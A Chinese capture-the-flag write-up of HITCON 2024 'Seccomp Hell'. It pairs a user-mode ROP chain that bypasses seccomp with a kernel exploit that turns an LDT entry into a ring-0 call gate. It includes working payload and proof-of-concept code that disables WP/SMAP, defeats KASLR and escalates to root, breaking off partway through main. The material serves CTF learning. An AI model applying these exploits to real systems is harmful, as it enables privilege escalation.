2024 Hitcon Pwn Seccomp Hell

坐了一天牢差一点出, 复现一下, 顺便努力把没搞懂的地方搞懂了

usermode + kernel, init 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/sh

chown 0:0 -R /
chown 1000:1000 -R /home/user
chmod 4755 /bin/busybox

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mount -t devtmpfs none /dev
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
/sbin/mdev -s

chmod 666 /dev/ptmx

# network
insmod /usr/lib/modules/e1000.ko
ifup lo >& /dev/null
ifup eth0 >& /dev/null

# banner
cat /etc/banner

# kernel backdoor
insmod /usr/lib/modules/i_am_definitely_not_backdoor.ko
chmod 0666 /dev/i_am_definitely_not_backdoor

# user backdoor
echo 'server starting...'
setsid cttyhack setuidgid 1000 /bin/socat tcp-l:22222,reuseaddr,fork EXEC:"/home/user/i_am_not_backdoor.bin",pty,stderr

poweroff -f

可以看到能够使用网络, 安装了一个内核模块 i_am_definitely_not_backdoor. 使用 socat 在 22222 端口启动 i_am_not_backdoor.bin 这个用户态程序. socat 还带了 pty, 可能将收到的数据解释成控制序列, 在交互的时候需要额外注意.

用户态程序是一个静态连接的程序, 在 IDA 里直接 F5 查看的话就是向栈上分两次写 0x100 个字节, 啥漏洞也没有. 但是看反汇编会发现, 它在输入结束之后 call 了下一条指令地址, 也就是说实际上没有结束, IDA 分析不了这里. 还可以看到下面有一堆没有解析为代码的指令.

IDA 反汇编
IDA 反汇编

将其强制解析成代码, 然后把 call 的那一段以及后面一点跳来跳去的混淆代码 nop 掉, 再修改一下 main 函数的结束地址, 此时 F5 出来的就有后续的逻辑了. 后续往栈的 old rbp 位置读入 0x98 字节, 明显栈溢出. 然后关闭 0, 1, 2, 最后设置 seccomp 沙箱. 沙箱规则如下:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0005
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0005: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x15 0x00 0x01 0x0000002a  if (A != connect) goto 0017
 0016: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0017: 0x15 0x00 0x01 0x0000009a  if (A != modify_ldt) goto 0019
 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0019: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0021
 0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0021: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0023
 0022: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0023: 0x06 0x00 0x00 0x00000000  return KILL

只允许使用 orw, close, mmap, mprotect, socket, connect, modify_ldt 和 exit & exit_group.

非常简单 socket 链接输入输出, mmap/mprotect rwx 页执行 shellcode.

真的这么简单吗? 要输入就必须先 connect, 而 connect 需要写入 16 字节的 sockaddr_in 结构体. 在建立连接之前, 只有栈上能写东西. 而想要在 0x90 个字节构造一条 socket, connect, mmap, jmp 的链实在是为难, 更别说还要加入 16 个字节的参数, 然后找 gadgets 去把 rsp 的值给 rsi. 即使是在之前的 0x100 字节中去写 sockaddr_in 参数, ROP 链也会很长. 栈迁移的方案也很难, 因为没有向固定地址的输入. 不过可以尝试将栈迁移到栈上 0x100 的输入, mephi42 的 WP 是这么做的, 简单来说就是利用 r12 (argv) 相对栈上的局部变量偏移固定来计算.

比赛时想到的方法是利用 r12 (argv) 和 rsp 很可能在一个页面里, 找 gadgets 将 argv and ~0xfff, 并传入 mprotect 的 addr, 将栈所在页面改成可执行, 最后用 jmp rsp 这个 gadget 去跳转到栈上执行. 0x90 的大小差不多够这一通操作, 剩下几个字节可以计算一下之前输入的局部变量地址到 rsp 的距离, sub rsp, xxx; jmp rsp 之类的跳过去, 这样就能够有 0x100 个字节任意写 shellcode 并执行了.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pop_rsi_ret = 0x0047713b
pop_rdx_ret = 0x004018e4
pop_rax_ret = 0x00462514
and_rdi_rax_ret = 0x004018ee
mov_rdi_rax_ret = 0x004018de
mov_rax_rbx_pop_rbx_ret = 0x004770ad
jmp_rsp = 0x004018f4

payload = p64s(
    1,
    mov_rax_rbx_pop_rbx_ret, 0,
    mov_rdi_rax_ret,
    pop_rax_ret, 0xfffffffffffff000,
    and_rdi_rax_ret,
    pop_rsi_ret, 0x1000,
    pop_rdx_ret, 7,
    elf.sym.mprotect,
    jmp_rsp,
)

short_shellcode = f'''
    sub rsp, {0x100 + len(payload)}
    jmp rsp
'''

payload += asm(short_shellcode)

这里需要注意一下, 由于 socat 使用参数 pty, 会将输入解析成控制字符而不是 raw data. 比赛调试发现需要避免输入 \x03 (mprotect 地址含有) 以及 \x0a ('\n' 好像直接被当作发送的标志, 调试时看实际读入只有 '\n' 前的内容). 以及向栈上写 shellcode 的时候也需要避免控制字符.

技巧

赛后看 discord 讨论可以用 \x16 去转译, 这样就不会输入控制字符了. pwntools 两周前新加了一个 tty_escape 函数 (#2422), 可以抄过来用:

1
2
3
4
5
6
7
def tty_escape(s, lnext=b'\x16', dangerous=bytes(bytearray(range(0x20)))):
    s = s.replace(lnext, lnext * 2)
    for b in bytearray(dangerous):
        if b in lnext: continue
        b = bytearray([b])
        s = s.replace(b, lnext + b)
    return s

之后发送一个 \x04 (EOF) 表示结束即可读入, 否则会卡住等待读入.

接下来可以写 shellcode 去连接 socket, mmap 一块 rwx 的页面然后 read 并执行任意长度 shellcode. socket 的读入是 raw 的, 不需要考虑控制字节.

由于沙箱的限制, 无法拿到用户态 shell, 需要在这个进程里去 pwn kernel.

run.sh:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/bin/bash

qemu-system-x86_64 \
    -cpu qemu64,+smap \
    -m 4096M \
    -kernel bzImage \
    -initrd initramfs.cpio.gz \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on" \
    -nographic \
    -netdev user,id=net0,hostfwd=tcp::22222-:22222 \
    -device e1000,netdev=net0 \
    -no-reboot \

可以看到开启了 smap, pti, 以及默认的 kaslr. 没有 smep.

逆一下 ko, 仅实现了一个 backdoor_write 函数 (忽略了中间一堆不知道什么用的 check, 比赛时浪费时间看这东西去了也没看明白qaq):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
ssize_t __fastcall backdoor_write(file *file, const unsigned __int8 *data, size_t size, loff_t *off)
{
  __int64 v4; // rax
  spinlock_t *v5; // rdi
  unsigned __int64 v6; // rbx
  unsigned __int64 v7; // rbp
  __int64 v8; // rdx
  unsigned __int64 v9; // rax
  unsigned __int64 v10; // rsi
  char *v11; // rcx
  bool v12; // zf
  __int64 v13; // rdi
  pte_t *pte; // [rsp+0h] [rbp-30h] BYREF
  spinlock_t *lock; // [rsp+8h] [rbp-28h] BYREF
  page *page[4]; // [rsp+10h] [rbp-20h] BYREF

  _fentry__(file, data, size, off);
  page[1] = (page *)__readgsqword(0x28u);
  pte = 0LL;
  lock = 0LL;
  if ( (unsigned int)follow_pte(
                       *(_QWORD *)(__readgsqword((unsigned int)&const_pcpu_hot) + 2296), // current->mm
                       0xFFFF880000010000LL,
                       &pte,
                       &lock)
    || (pte->pte & ~(physical_mask & 0xFFFFFFFFFFFFF000LL) & 0x8000000000000000LL) == 0LL )
  {
    return -14LL;
  }
  v4 = pv_ops[61]();
  if ( v4 )
    v4 ^= (v4 & 1) - 1;
  v5 = lock;
  v6 = physical_mask & v4;
  v7 = (physical_mask & (unsigned __int64)v4) >> 12; // pfn
  page[0] = (page *)(vmemmap_base + (v7 << 6));

  // ...

  if ( page[0] )
  {
    v13 = vmap(page, 1LL, 4LL, _default_kernel_pte_mask & (sme_me_mask | 0x8000000000000163LL));
    if ( v13 )
    {
      *(_BYTE *)(v13 + 103) = 0;
      *(_WORD *)(v13 + 96) = 0;
      *(_WORD *)(v13 + 101) = -16148;
      vunmap();
      return 0LL;
    }
  }
  return -14LL;
}

大致就是把虚拟地址 0xFFFF880000010000 对应的物理地址 (page struct) 取出来, 用 vmap 再创建一次映射, 然后修改页面上的一些值.

查阅 文档 可以发现, 这个地址是 LDT remap for PTI. LDT 是 局部描述符表Local Descriptor Table, 用于分段寻址之类的, 不过 64 位的程序不需要用到它. 内核提供了用户态对 LDT 的修改, 即 modify_ldt 系统调用 (之前学 UAF 的时候见过).

当启用 PTI 时, 内核会将 LDT 映射到 0xFFFF880000000000 (slot = 0) 或 0xFFFF880000010000 (slot = 1) 上. 两个 slot 交替使用, 以应对并发. 用户页表中也会映射 LDT, 因为用户态的程序需要使用.

相关代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
	struct mm_struct *mm = current->mm;
	struct ldt_struct *new_ldt, *old_ldt;
	unsigned int old_nr_entries, new_nr_entries;
	struct user_desc ldt_info;
	struct desc_struct ldt;
	int error;
  
  // ...
	if ((oldmode && !ldt_info.base_addr && !ldt_info.limit) ||
	  // ...
	} else {
    // ...
		fill_ldt(&ldt, &ldt_info);
	  // ...
	}

	old_ldt       = mm->context.ldt;
	old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
	new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

	error = -ENOMEM;
	new_ldt = alloc_ldt_struct(new_nr_entries);
	if (!new_ldt)
		goto out_unlock;

	if (old_ldt)
		memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

	new_ldt->entries[ldt_info.entry_number] = ldt;
	finalize_ldt_struct(new_ldt);

	/*
	 * If we are using PTI, map the new LDT into the userspace pagetables.
	 * If there is already an LDT, use the other slot so that other CPUs
	 * will continue to use the old LDT until install_ldt() switches
	 * them over to the new LDT.
	 */
	error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0);
  // ...
}

第一次调用 write_ldt 时, old_ldt 不存在, 于是 map_ldt_struct 的第三个参数是 0, 之后传入的参数 1, 0 交替.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/*
 * If PTI is enabled, this maps the LDT into the kernelmode and
 * usermode tables for the given mm.
 */
static int
map_ldt_struct(struct mm_struct *mm, struct ldt_struct *ldt, int slot)
{
	unsigned long va;
	bool is_vmalloc;
	spinlock_t *ptl;
	int i, nr_pages;

  // ...

	is_vmalloc = is_vmalloc_addr(ldt->entries);

	nr_pages = DIV_ROUND_UP(ldt->nr_entries * LDT_ENTRY_SIZE, PAGE_SIZE);

	for (i = 0; i < nr_pages; i++) {
		unsigned long offset = i << PAGE_SHIFT;
		const void *src = (char *)ldt->entries + offset;
		unsigned long pfn;
		pgprot_t pte_prot;
		pte_t pte, *ptep;

		va = (unsigned long)ldt_slot_va(slot) + offset;
		pfn = is_vmalloc ? vmalloc_to_pfn(src) :
			page_to_pfn(virt_to_page(src));
		/*
		 * Treat the PTI LDT range as a *userspace* range.
		 * get_locked_pte() will allocate all needed pagetables
		 * and account for them in this mm.
		 */
		ptep = get_locked_pte(mm, va, &ptl);
		if (!ptep)
			return -ENOMEM;
		/*
		 * Map it RO so the easy to find address is not a primary
		 * target via some kernel interface which misses a
		 * permission check.
		 */
		pte_prot = __pgprot(__PAGE_KERNEL_RO & ~_PAGE_GLOBAL);
		/* Filter out unsuppored __PAGE_KERNEL* bits: */
		pgprot_val(pte_prot) &= __supported_pte_mask;
		pte = pfn_pte(pfn, pte_prot);
		set_pte_at(mm, va, ptep, pte);
		pte_unmap_unlock(ptep, ptl);
	}

	/* Propagate LDT mapping to the user page-table */
	map_ldt_struct_to_user(mm);

	ldt->slot = slot;
	return 0;
}

map_ldt_structldt->entries 的物理地址映射到虚拟地址 va处, 同时设置了一些权限, 比如只读. 所以 backdoor_write 需要将物理页面取出来重新映射再修改, 而不能直接写入.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#define PGDIR_SHIFT		39

#define LDT_PGD_ENTRY		-240UL
#define LDT_BASE_ADDR		(LDT_PGD_ENTRY << PGDIR_SHIFT)  // 0xFFFF880000000000

/* Maximum number of LDT entries supported. */
#define LDT_ENTRIES	8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE	8

/* This is a multiple of PAGE_SIZE. */
#define LDT_SLOT_STRIDE (LDT_ENTRIES * LDT_ENTRY_SIZE)  // 0x10000

static inline void *ldt_slot_va(int slot)
{
	return (void *)(LDT_BASE_ADDR + LDT_SLOT_STRIDE * slot);
}

因为 64 位程序不需要用到 LDT, LDT 正常来说都是空的, 0xFFFF880000000000 和 0xFFFF880000010000 都还没有映射. 所以首先得 write_ldt 两次, 才可以将 LDT 映射到 0xFFFF880000010000 上, 同时使用这个 solt.

调试一下可以看到 backdoor_write 会将第 12 个 LDT entry 写成 0xc0ecxxxxxx0000, 可以写如下程序来确定每一位的含义:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <linux/types.h>
#include <string.h>

struct desc_struct {
  __u16 limit0;
  __u16 base0;
  __u16 base1 : 8, type : 4, s : 1, dpl : 2, p : 1;
  __u16 limit1 : 4, avl : 1, l : 1, d : 1, g : 1, base2 : 8;
} __attribute__((packed));

int main(int argc, char *argv[]) {

  struct desc_struct d;
  __u64 v = 0xc0ecffffff0000;
  memcpy(&d, &v, sizeof(d));
  printf("d.limit0 = %x\n", d.limit0);
  printf("d.base0 = %x\n", d.base0);
  printf("d.base1 = %x\n", d.base1);
  printf("d.type = %x\n", d.type);
  printf("d.s = %x\n", d.s);
  printf("d.dpl = %x\n", d.dpl);
  printf("d.p = %x\n", d.p);
  printf("d.limit1 = %x\n", d.limit1);
  printf("d.avl = %x\n", d.avl);
  printf("d.l = %x\n", d.l);
  printf("d.d = %x\n", d.d);
  printf("d.g = %x\n", d.g);
  printf("d.base2 = %x\n", d.base2);
}

输出如下:

d.limit0 = 0
d.base0 = ffff
d.base1 = ff
d.type = c
d.s = 0
d.dpl = 3
d.p = 1
d.limit1 = 0
d.avl = 0
d.l = 0
d.d = 1
d.g = 1
d.base2 = 0

查阅 intel 开发手册 (卷 3 3.5 节) 可以得知, 在 64 位下, type = 0xc 表示是 调用门描述符Call Gate Descriptor. 调用门是 x86 保护模式下的一种机制,允许从一个特权级别 (如 ring3) 调用不同特权级别 (如 ring0) 的代码. 描述符有两种, 一种是段描述符, 一种是 门描述符Gate Descriptors. 段描述符就是分段用的, 门描述符则规定了不同特权对代码段的访问权限. 继续翻阅手册 (卷3 5.8.3.1 节), 可以得知调用门描述符的各个位含义如下:

6 3 O f f s e t i n S e g m e n t 3 1 : 1 6 4 8 4 P 7 D P L 4 5 4 0 4 1 T T 1 y 0 y p p 0 e e 4 0 0 0 3 2 S e g m e n t S e O l f e f c s t e o t r i n S e 1 g 6 m e n t 6 O 3 f : f 3 s 2 e t i n S e g m e n t 1 5 : 0 0 0

64 位下的调用门描述符用两个 entry 将其拓展成了 16 字节, 以支持 64 位的地址. 其中 P 是有效位, DPL 是 描述符权限级Descriptor Privilege Level, Segment Selector 是指向代码段的段选择子, 表示要 Call 过去代码在这个代码段上.

按照这个结构重新解析一下后门函数写上的那些位:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <linux/types.h>
#include <string.h>

struct call_gate_desc_struct {
  __u16 offset0;
  __u16 selector;
  __u16 zero0 : 8, type : 4, zero1: 1, dpl : 2, p : 1;
  __u16 offset1;
} __attribute__((packed));

int main(int argc, char *argv[]) {

  struct call_gate_desc_struct d;
  __u64 v = 0xc0ecfedcba0000;
  memcpy(&d, &v, sizeof(d));
  printf("d.offset0 = %x\n", d.offset0);
  printf("d.selector = %x\n", d.selector);
  printf("d.type = %x\n", d.type);
  printf("d.dpl = %x\n", d.dpl);
  printf("d.p = %x\n", d.p);
  printf("d.offset1 = %x\n", d.offset1);
}

结果为:

d.offset0 = 0
d.selector = dcba
d.type = c
d.dpl = 3
d.p = 1
d.offset1 = c0

可以看到 dlp = 3, p = 1, offset = 0xc00000 (不考虑高位). 段选择子可以自己写, 不会被修改.

要调用一个调用门, 需要使用 call 或者 jmp 指令, 目标地址是一个远指针, 由段选择子+偏移构成. 段选择子自然需要是对应调用门的, 偏移不会被用到, 可以任意填. 段选择子中含有 RPL (Requested Privilege Level) 位, 可以看作段选择子的特权级. 段选择子的结构如下:

1 5 I n d e x T 2 R P L 0

其中 T = 0 表示 GDT, 1 表示 LDT.

CPL 在 cs 寄存器上指定, 也就是当前代码运行在内核态 (CPL = 0, ring0) 还是用户态 (CPL = 3, ring3). 代码段描述符有两种类型, 一种是 Conforming, 一种是 Nonconforming. Conforming 描述的代码段一般用来做异常处理, 跳转到这个代码段时 CPL 不会变. 而 Nonconforming 描述的代码段则用来确保权限. 正常情况下, CPL = Nonconforming Code Segment 的 DPL 才可以跳转. 而调用门提供了调用不同特权级代码的机制. 当

  1. CPL 和 RPL 均不大于调用门描述符的 DPL;
  2. 目标 Noforming Code Segment 的 DPL 不大于 CPL

时, call 指令即可跳转到目标代码段上. 跳转前会进行栈切换等操作 (修改 ss, ds 等段寄存器), 并根据目标代码段选择子修改 cs, 包括 CPL 位.

有点绕. 简单来说, 对于从用户态 (ring3) 使用调用门去跳转到更高权限 (ring0) 的代码段来说, CPL 首先是 3, 调用门的 DPL 决定了是否有使用该调用门的权限, CPL $\le$ DPL 有, 即 DPL 需要为 3. 如果调用门的目标代码段选择子指向 DPL = 0 的代码段, 那么跳转过去之后 CPL = 0.

注意
本来看手册以为是调用门描述符上的段选择子加载进 cs 寄存器, 使得 CPL 改变, 但是实验发现修改了段选择子的 RPL 并不会影响 CPL, 应该还是根据代码段描述符的 DPL 来决定的.

backdoor_write 已经将除了段选择子的所有字段都填好了, 我们只需要填一个 DLP = 0 的代码段选择子, 然后进行远调用, 即可在 ring0 运行代码. 特别的, 这种进入 ring0 的操作 并不会切换页表, 而且题目没开 smep, ring0 内核态可以执行用户空间的的代码!

wirte_ldt 中会调用 fill_ldt 填写 entry, 其中写死了 dlp = 3:

1
2
3
4
5
6
static inline void fill_ldt(struct desc_struct *desc, const struct user_desc *info)
{
  // ...
	desc->dpl		= 0x3;
	// ...
}

所以没法伪造. 虽然 64 位不分段管理, 但是依然保留了段描述符和段选择子的概念, 所有段的基址都为 0, 段限长为最大值. 内核初始化会有一张全局描述符表 GDT, 记录用户空间和内核空间的 “分段”:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// arch/x86/include/asm/segment.h
#if defined(CONFIG_X86_32) && !defined(BUILD_VDSO32_64)
// ...
#else /* 64-bit: */

#include <asm/cache.h>

#define GDT_ENTRY_KERNEL32_CS		1
#define GDT_ENTRY_KERNEL_CS		2
#define GDT_ENTRY_KERNEL_DS		3

/*
 * We cannot use the same code segment descriptor for user and kernel mode,
 * not even in long flat mode, because of different DPL.
 *
 * GDT layout to get 64-bit SYSCALL/SYSRET support right. SYSRET hardcodes
 * selectors:
 *
 *   if returning to 32-bit userspace: cs = STAR.SYSRET_CS,
 *   if returning to 64-bit userspace: cs = STAR.SYSRET_CS+16,
 *
 * ss = STAR.SYSRET_CS+8 (in either case)
 *
 * thus USER_DS should be between 32-bit and 64-bit code selectors:
 */
#define GDT_ENTRY_DEFAULT_USER32_CS	4
#define GDT_ENTRY_DEFAULT_USER_DS	5
#define GDT_ENTRY_DEFAULT_USER_CS	6

/* Needs two entries */
#define GDT_ENTRY_TSS			8
/* Needs two entries */
#define GDT_ENTRY_LDT			10

#define GDT_ENTRY_TLS_MIN		12
#define GDT_ENTRY_TLS_MAX		14

#define GDT_ENTRY_CPUNODE		15

/*
 * Number of entries in the GDT table:
 */
#define GDT_ENTRIES			16

/*
 * Segment selector values corresponding to the above entries:
 *
 * Note, selectors also need to have a correct RPL,
 * expressed with the +3 value for user-space selectors:
 */
#define __KERNEL32_CS			(GDT_ENTRY_KERNEL32_CS*8)
#define __KERNEL_CS			(GDT_ENTRY_KERNEL_CS*8)
#define __KERNEL_DS			(GDT_ENTRY_KERNEL_DS*8)
#define __USER32_CS			(GDT_ENTRY_DEFAULT_USER32_CS*8 + 3)
#define __USER_DS			(GDT_ENTRY_DEFAULT_USER_DS*8 + 3)
#define __USER_CS			(GDT_ENTRY_DEFAULT_USER_CS*8 + 3)
#define __CPUNODE_SEG			(GDT_ENTRY_CPUNODE*8 + 3)

#endif

可以看到, 这里内核代码段选择子 __KERNEL_CS 是 0x10, 所以只需要将调用门的段选择子设置为 0x10, 就可以在 ring0 执行用户空间代码了. 注意还需要确保第 13 个 entry 存在并且是全 0, 这样才能够在 64 位下执行调用门. 可以写一个大于 13 的 entry, 而且 alloc 的时候取的是全 0 的页, 正好满足条件.

后续步骤就是 call 这个调用门, 然后会以 CLP = 0 跳转到用户空间的 0xc00000 上, 在这里写内核 shellcode. 目标是提权和关闭 seccomp.

此时页表和 gs 都还是用户态的, 需要切换到内核态才可以进行进一步的提权. 然而由于开启了 kpti, 页表切换成内核的就无法访问用户空间代码了. 所以后续需要在一个特殊的地址上执行代码, 这个地址同时在用户和内核页表上都有映射, 比如 syscall 入口 entry_SYSCALL_64. 初始化的调用链为 start_kernel $\rightarrow$ mm_core_init $\rightarrow$ pti_init $\rightarrow$ pti_clone_entry_text:

1
2
3
4
5
6
7
8
9
/*
 * Clone the populated PMDs of the entry text and force it RO.
 */
static void pti_clone_entry_text(void)
{
	pti_clone_pgtable((unsigned long) __entry_text_start,
			  (unsigned long) __entry_text_end,
			  PTI_CLONE_PMD);
}

在这里将 __entry_text_start__entry_text_end 所在的 PMD (二级页表项) 拷贝到用户页表上. 这个符号就是 entry_SYSCALL_64 所在段的符号. PMD 一共有 2M 的空间, 而 __entry_text_end 并没有全部占满, 后续还有很多没有用到的地方.

注意
不过好像还是得先映射才有这么多, 还没搞明白在哪映射的qaq

syscall 入口会被保存在 LSTAR (Long System Target-Address Register) 寄存器中, 调用链为 start_kernel $\rightarrow$ trap_init $\rightarrow$ cpu_int $\rightarrow$ syscall_init $\rightarrow$ idt_syscall_init

1
2
3
4
5
static inline void idt_syscall_init(void)
{
	wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);
	// ...
}

LSTAR 寄存器是 MSRs (Model Specific Register) 寄存器组中的一个, 可以用 rdmsr 指令读取. 这样就可以获得 entry_SYSCALL_64 的地址, 同时绕过 kaslr.

阅读 intel 手册 (卷 3 4.1.3 节) 可知, cr0 寄存器有一个 WP 位, 当其使能时, 内核态无法修改只读页面; 反之, 如果 cr0.WP 是 0, 则内核态 可以向只读页面进行写操作.

rdmsr 和 对 cr0 的操作都不需要涉及 gs 或者页表, 所以可以先执行, 注意还需要关中断 cli, 避免被干扰. 关闭 smap 之后向 trampoline page 上写后续代码并跳转执行, 包括 swapgs, 切换内核页表, 提权, 关闭 seccomp, 返回用户态.

技巧

看 hxp 的 WP 发现他怎么没写 cr4 就可以把用户空间数据拷贝到 trampoline page? 原题没有开 smap, 但是把代码拿过来直接能用.

原来他在用户态的时候设置了 rflags 的 AC 位, 翻看 intel 手册可以发现:

Sets the AC flag bit in EFLAGS register. This may enable alignment checking of user-mode data accesses. This allows explicit supervisor-mode data accesses to user-mode pages even if the SMAP bit is set in the CR4 register.

翻了下博客好像以前看过这个, 忘光了.

返回用户态可以用 iretq, 没什么好说的, 不过一样需要构造栈数据, 让他返回到目标用户空间的地址上. 但是如果真的是调用门, 正常情况下应该是怎么返回用户态的呢? 调用门使用 far call, 实际上有一个 far ret 的方法, 即 retf 指令, 64 位是 retfq.

查阅 intel 手册卷 1 6.4.2, 6.4.5 和 6.4.6 节, 可以知道, far call 调用门时会切换对应的权限栈, 然后往站上压入 cs, ip, args, sp, ss, far ret 从不同权限返回时可以根具栈上的段寄存器恢复到原来的权限, 以及 ipsp 回到 far call 之后的指令, 并且切换栈. 所以这里使用 retfq 就非常方便了, 不用去额外构造栈数据. (不过 iretq 也就中间插入了一个 flags.)

至此可以写一个 PoC 在 shell 里执行 (无 seccomp), 能够成功得到 root shell.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include "pwn.h"

#define __KERNEL_CS 0x10
#define TARGET_ENTRY 0xc
#define TARGET_ENTRY_SELECTOR (TARGET_ENTRY << 3 | 0b111)

#define CR0_WP_BIT 16
#define CR4_SMAP_BIT 21
#define CR3_PT_BIT 12
#define MSR_LSTAR_ADDR 0xC0000082

#define NOKASLR_ENTRY_SYSCALL_64 0xffffffff81e00080
#define NOKASLR_ENTRY_TRAMPOLINE 0xffffffff81e00000
#define NOKASLR_INIT_CRED 0xffffffff82c517c0
#define NOKASLR_COMMIT_CREDS 0xffffffff810fc820
#define RING0_STAGE2_TRAMPOLINE_OFFSET 0x10000

typedef struct {
  uint32_t offset;
  uint16_t selector;
} __attribute__((packed)) far_ptr_t;

static inline void cli() { __asm__ __volatile__("cli\n"); }
static inline void sti() { __asm__ __volatile__("sti\n"); }
static inline void disable_wp() {
  uint64_t cr0 = 0;
  __asm__ __volatile__("mov %0, cr0" : "=r"(cr0));
  cr0 &= ~(1 << CR0_WP_BIT);
  __asm__ __volatile__("mov cr0, %0" : : "r"(cr0));
}

static inline uint64_t rdmsr(uint32_t msr) {
  uint32_t lo, hi;
  __asm__ __volatile__("rdmsr" : "=a"(lo), "=d"(hi) : "c"(msr));
  return ((uint64_t)hi << 32) | lo;
}

static inline void swapgs() { __asm__ __volatile__("swapgs\n"); }

static inline void disable_smap() {
  uint64_t cr4 = 0;
  __asm__ __volatile__("mov %0, cr4" : "=r"(cr4));
  cr4 &= ~(1 << CR4_SMAP_BIT);
  __asm__ __volatile__("mov cr4, %0" : : "r"(cr4));
}

static inline void switch_page_table() {
  uint64_t cr3 = 0;
  __asm__ __volatile__("mov %0, cr3" : "=r"(cr3));
  cr3 ^= 1 << CR3_PT_BIT;
  __asm__ __volatile__("mov cr3, %0" : : "r"(cr3));
}

static inline void escalate_privileges(size_t offset) {
  size_t init_cred = NOKASLR_INIT_CRED + offset;
  int (*commit_creds)(size_t) = (void *)NOKASLR_COMMIT_CREDS + offset;
  commit_creds(init_cred);
}

void ring0_stage2(size_t offset) __attribute__((section(".rodata")));
void ring0_stage2_end() __attribute__((section(".rodata")));
void ring0_stage2(size_t offset) {
  swapgs();
  switch_page_table();
  escalate_privileges(offset);
  swapgs();
  switch_page_table();
}
void ring0_stage2_end() {}

void ring0() __attribute__((aligned(0x1000)));
void ring0() {
  cli();
  disable_wp();
  disable_smap();

  size_t entry_SYSCALL_64 = rdmsr(MSR_LSTAR_ADDR);
  size_t offset = entry_SYSCALL_64 - NOKASLR_ENTRY_SYSCALL_64;
  void (*ring0_stage2_trampoline)(size_t) = (void *)NOKASLR_ENTRY_TRAMPOLINE +
                                            RING0_STAGE2_TRAMPOLINE_OFFSET +
                                            offset;
  char *dst = (char *)ring0_stage2_trampoline;

  for (char *cur = (char *)&ring0_stage2; cur < (char *)&ring0_stage2_end;)
    *dst++ = *cur++;

  ring0_stage2_trampoline(offset);
  sti();
  __asm__ __volatile__("add rsp, 8\n"
                       "retfq\n");
}

int main() {
  int fd = syscall(SYS_open, "/dev/i_am_definitely_not_backdoor", O_RDWR);

  struct user_desc desc = {0};
  desc.entry_number = 0xc;
  desc.base_addr = __KERNEL_CS;
  syscall(SYS_modify_ldt, MODIFY_LDT_WRITE, &desc, sizeof(desc));
  desc.base_addr = 0;
